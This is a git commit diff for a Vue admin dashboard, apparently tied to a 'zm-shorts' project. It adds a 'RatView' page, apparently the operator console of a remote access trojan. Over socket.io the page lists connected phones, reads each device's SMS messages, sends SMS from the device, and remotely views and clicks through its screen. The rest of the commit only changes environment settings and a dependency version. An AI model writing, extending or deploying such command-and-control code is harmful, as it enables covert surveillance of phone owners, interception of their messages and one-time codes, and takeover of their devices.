xiongzhu 1 год назад
Родитель
Сommit
fa0ccb7c38
6 измененных файлов с 290 добавлено и 7 удалено
  1. 1 0
      .env.development
  2. 2 1
      .env.production
  3. 1 1
      package.json
  4. 4 1
      src/router/index.js
  5. 278 0
      src/views/RatView.vue
  6. 4 4
      yarn.lock

+ 1 - 0
.env.development

@@ -2,3 +2,4 @@ VITE_BASE_URL=/
 VITE_API_BASE_URL=http://localhost:3333/api
 VITE_WS_URL=ws://localhost:3333
 VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com
+VITE_RAT_SOCKET_URL=http://localhost:3333/admin

+ 2 - 1
.env.production

@@ -1,4 +1,5 @@
 VITE_BASE_URL=/admin/
 VITE_API_BASE_URL=/api
 VITE_WS_URL=/
-VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com
+VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com
+VITE_RAT_SOCKET_URL=/admin

+ 1 - 1
package.json

@@ -22,7 +22,7 @@
     "pinia": "^2.0.32",
     "qs": "^6.11.1",
     "resolve-url": "^0.2.1",
-    "socket.io-client": "^4.7.2",
+    "socket.io-client": "^4.7.4",
     "vue": "^3.2.47",
     "vue-json-viewer": "3",
     "vue-router": "^4.1.6"

+ 4 - 1
src/router/index.js

@@ -70,7 +70,10 @@ const router = createRouter({
                 {
                     path: 'rat',
                     name: 'rat',
-                    component: () => import('../views/RatView.vue')
+                    component: () => import('../views/RatView.vue'),
+                    meta: {
+                        title: '远程管理'
+                    }
                 }
             ]
         }

+ 278 - 0
src/views/RatView.vue

@@ -0,0 +1,278 @@
+<template>
+    <div class="flex flex-col h-full">
+        <div class="mb-4">
+            <ElButton type="primary" @click="socket.value.emit('clients')">刷新</ElButton>
+        </div>
+        <ElTable :data="clients" class="flex-1" size="small">
+            <ElTableColumn prop="id" label="ID" show-overflow-tooltip></ElTableColumn>
+            <ElTableColumn prop="model" label="型号" show-overflow-tooltip></ElTableColumn>
+            <ElTableColumn prop="time" label="连接时间" :formatter="timeFormatter" width="180"></ElTableColumn>
+            <ElTableColumn label="操作" align="center" width="200">
+                <template v-slot="{ row }">
+                    <ElButton size="small" @click="onSendSms(row)">发信</ElButton>
+                    <ElButton size="small" @click="readSms(row)">读信</ElButton>
+                    <ElButton size="small" @click="remoteControl(row)">远控</ElButton>
+                </template>
+            </ElTableColumn>
+        </ElTable>
+    </div>
+    <ElDialog width="500" title="发送短信" v-model="showSendSmsDialog">
+        <ElForm ref="sendSmsForm" :model="sendSmsModel" :rules="sendSmsRules" label-position="right" label-width="80px">
+            <ElFormItem label="手机号" prop="phone">
+                <ElInput v-model="sendSmsModel.phone" placeholder="请输入手机号"></ElInput>
+            </ElFormItem>
+            <ElFormItem label="内容" prop="message">
+                <ElInput v-model="sendSmsModel.message" placeholder="请输入内容"></ElInput>
+            </ElFormItem>
+        </ElForm>
+        <template #footer>
+            <ElButton @click="showSendSmsDialog = false">取消</ElButton>
+            <ElButton type="primary" @click="sendSms">发送</ElButton>
+        </template>
+    </ElDialog>
+    <ElDialog width="500px" title="短信列表" v-model="showSmsList">
+        <ElTable :data="smsList" stripe>
+            <ElTableColumn prop="type" label="类型" width="80" :formatter="typeFormatter"></ElTableColumn>
+            <ElTableColumn prop="address" label="手机号" show-overflow-tooltip></ElTableColumn>
+            <ElTableColumn prop="body" label="内容" show-overflow-tooltip></ElTableColumn>
+            <ElTableColumn prop="date" label="时间" :formatter="timeFormatter" width="180"></ElTableColumn>
+        </ElTable>
+    </ElDialog>
+
+    <ElDialog
+        :class="{ 'control-dialog': true, landscape: landscape }"
+        top="5vh"
+        title="远程控制"
+        v-model="showControlDialog"
+        @close="clearControlTimer"
+        append-to-body
+        :width="controlDialogWidth"
+    >
+        <div class="btns">
+            <ElButton :icon="ArrowNarrowLeft" @click="sendCmd('back')">返回</ElButton>
+            <ElButton :icon="Circle" @click="sendCmd('home')">桌面</ElButton>
+            <ElButton :icon="Copy" @click="sendCmd('recent')">任务</ElButton>
+            <ElButton :icon="ArrowBigUpLine" @click="sendCmd('scrollUp')">上滑</ElButton>
+            <ElButton :icon="ArrowBigDownLine" @click="sendCmd('scrollDown')">下滑</ElButton>
+        </div>
+        <div ref="canvasContainer" class="canvas-container flex">
+            <canvas ref="screenCanvas" @click="clickCanvas"></canvas>
+        </div>
+    </ElDialog>
+</template>
+<script setup>
+import { format } from 'date-fns'
+import { io } from 'socket.io-client'
+import { computed, onMounted, ref, render } from 'vue'
+import { ArrowNarrowLeft, Copy, Circle, ArrowBigUpLine, ArrowBigDownLine } from '@vicons/tabler'
+const clients = ref([])
+const socket = ref(null)
+const smsList = ref([])
+const showSmsList = ref(false)
+onMounted(() => {
+    socket.value = io(import.meta.env.VITE_RAT_SOCKET_URL)
+    socket.value.on('connect', () => {
+        console.log('connected')
+        socket.value.on('clients', (data) => {
+            console.log(data)
+            clients.value = data
+        })
+        socket.value.emit('clients')
+    })
+    socket.value.on('result', (args) => {
+        console.log(args)
+        switch (args.action) {
+            case 'sendSms':
+                break
+            case 'readSms':
+                if (args.from === selectedRow.value.id) {
+                    smsList.value = args.data
+                }
+                break
+            case 'getScreen':
+                renderScreen(args)
+                break
+        }
+    })
+})
+
+function timeFormatter(row, column, cellValue, index) {
+    if (/^\d+$/.test(cellValue)) cellValue = parseInt(cellValue)
+    return format(new Date(cellValue), 'yyyy-MM-dd HH:mm:ss')
+}
+const selectedRow = ref(null)
+const sendSmsModel = ref({
+    phone: '',
+    message: ''
+})
+const sendSmsForm = ref(null)
+const sendSmsRules = {
+    number: [{ required: true, message: '请输入手机号', trigger: 'blur' }],
+    content: [{ required: true, message: '请输入内容', trigger: 'blur' }]
+}
+const showSendSmsDialog = ref(false)
+
+function onSendSms(row) {
+    selectedRow.value = row
+    sendSmsModel.value = {
+        phone: '',
+        message: ''
+    }
+    sendSmsForm.value?.clearValidate()
+    showSendSmsDialog.value = true
+}
+
+function sendCmd(action, data) {
+    socket.value.emit('sendCmd', {
+        to: selectedRow.value.id,
+        action,
+        data
+    })
+}
+
+async function sendSms() {
+    await sendSmsForm.value?.validate()
+    sendCmd('sendSms', {
+        phone: sendSmsModel.value.phone,
+        message: sendSmsModel.value.message
+    })
+    showSendSmsDialog.value = false
+}
+
+function readSms(row) {
+    selectedRow.value = row
+    smsList.value = []
+    showSmsList.value = true
+    sendCmd('readSms')
+}
+
+function typeFormatter(row, column, cellValue, index) {
+    return cellValue === '1' ? '接收' : '发送'
+}
+
+const showControlDialog = ref(false)
+let controlTimer = null
+function remoteControl(row) {
+    selectedRow.value = row
+    showControlDialog.value = true
+    controlTimer = setInterval(() => {
+        sendCmd('getScreen')
+    }, 1000)
+}
+function clearControlTimer() {
+    if (controlTimer) {
+        clearInterval(controlTimer)
+        controlTimer = null
+    }
+}
+const screenCanvas = ref(null)
+const landscape = ref(false)
+const canvasContainer = ref(null)
+const layout = ref('horizontal')
+const controlDialogWidth = ref('80%')
+function renderScreen(args) {
+    if (screenCanvas.value) {
+        const canvas = screenCanvas.value
+        const data = args.data
+        const width = data.bounds.right - data.bounds.left
+        const height = data.bounds.bottom - data.bounds.top
+        landscape.value = width > height
+        const ctx = canvas.getContext('2d')
+
+        canvas.width = data.bounds.right - data.bounds.left
+        canvas.height = data.bounds.bottom - data.bounds.top
+
+        let containerWidth, containerHeight
+        if (landscape.value) {
+            containerWidth = window.innerWidth * 0.8 - 40
+            containerHeight = window.innerHeight * 0.9 - 200
+            controlDialogWidth.value = '80%'
+            const fit = width / height > containerWidth / containerHeight ? 'width' : 'height'
+            if (fit === 'width') {
+                console.log('fit width')
+                layout.value = 'vertical'
+                canvas.style.width = containerWidth + 'px'
+                canvas.style.height = (height / width) * containerWidth + 'px'
+            } else {
+                console.log('fit height')
+                console.log(width, height, containerWidth, containerHeight)
+                layout.value = 'horizontal'
+                canvas.style.height = containerHeight + 'px'
+                canvas.style.width = (width / height) * containerHeight + 'px'
+            }
+        } else {
+            containerWidth = window.innerWidth * 0.8 - 40
+            containerHeight = window.innerHeight * 0.9 - 120
+            controlDialogWidth.value = (width / height) * containerHeight + 150 + 'px'
+
+            layout.value = 'horizontal'
+            canvas.style.height = containerHeight + 'px'
+            canvas.style.width = (width / height) * containerHeight + 'px'
+        }
+        ctx.clearRect(0, 0, width, height)
+        ctx.fillStyle = '#eeeeee'
+        ctx.fillRect(0, 0, width, height)
+        drawNode(ctx, data)
+    }
+    function drawNode(ctx, node) {
+        ctx.fillStyle = '#000000'
+        ctx.beginPath()
+        ctx.rect(
+            node.bounds.left,
+            node.bounds.top,
+            node.bounds.right - node.bounds.left,
+            node.bounds.bottom - node.bounds.top
+        )
+        ctx.stroke()
+        if (node.text) {
+            if (typeof node.text === 'object') {
+                node.text = node.text.mText
+            }
+            ctx.font = '40px sans-serif'
+            ctx.fillText(node.text, node.bounds.left, node.bounds.top, node.bounds.right - node.bounds.left)
+        }
+        if (node.children) {
+            for (let child of node.children) {
+                drawNode(ctx, child)
+            }
+        }
+    }
+}
+function clickCanvas(e) {
+    const x = e.offsetX * (screenCanvas.value.width / screenCanvas.value.clientWidth)
+    const y = e.offsetY * (screenCanvas.value.height / screenCanvas.value.clientHeight)
+    console.log(x, y)
+
+    sendCmd('click', { x, y })
+}
+</script>
+<style lang="less">
+.control-dialog {
+    .el-dialog__body {
+        padding: 20px;
+        display: flex;
+        .btns {
+            display: flex;
+            flex-direction: column;
+            .el-button {
+                margin-left: 0;
+                margin-bottom: 10px;
+            }
+        }
+    }
+    &.landscape {
+        .el-dialog__body {
+            display: flex;
+            flex-direction: column;
+            .btns {
+                flex-direction: row;
+                .el-button {
+                    margin-right: 20px;
+                }
+            }
+        }
+    }
+    canvas {
+    }
+}
+</style>

+ 4 - 4
yarn.lock

@@ -3224,10 +3224,10 @@ side-channel@^1.0.4:
     get-intrinsic "^1.0.2"
     object-inspect "^1.9.0"
 
-socket.io-client@^4.7.2:
-  version "4.7.2"
-  resolved "https://registry.npmmirror.com/socket.io-client/-/socket.io-client-4.7.2.tgz#f2f13f68058bd4e40f94f2a1541f275157ff2c08"
-  integrity sha512-vtA0uD4ibrYD793SOIAwlo8cj6haOeMHrGvwPxJsxH7CeIksqJ+3Zc06RvWTIFgiSqx4A3sOnTXpfAEE2Zyz6w==
+socket.io-client@^4.7.4:
+  version "4.7.4"
+  resolved "https://registry.npmmirror.com/socket.io-client/-/socket.io-client-4.7.4.tgz#5f0e060ff34ac0a4b4c5abaaa88e0d1d928c64c8"
+  integrity sha512-wh+OkeF0rAVCrABWQBaEjLfb7DVPotMbu0cgWgyR0v6eA4EoVnAwcIeIbcdTE3GT/H3kbdLl7OoH2+asoDRIIg==
   dependencies:
     "@socket.io/component-emitter" "~3.1.0"
     debug "~4.3.2"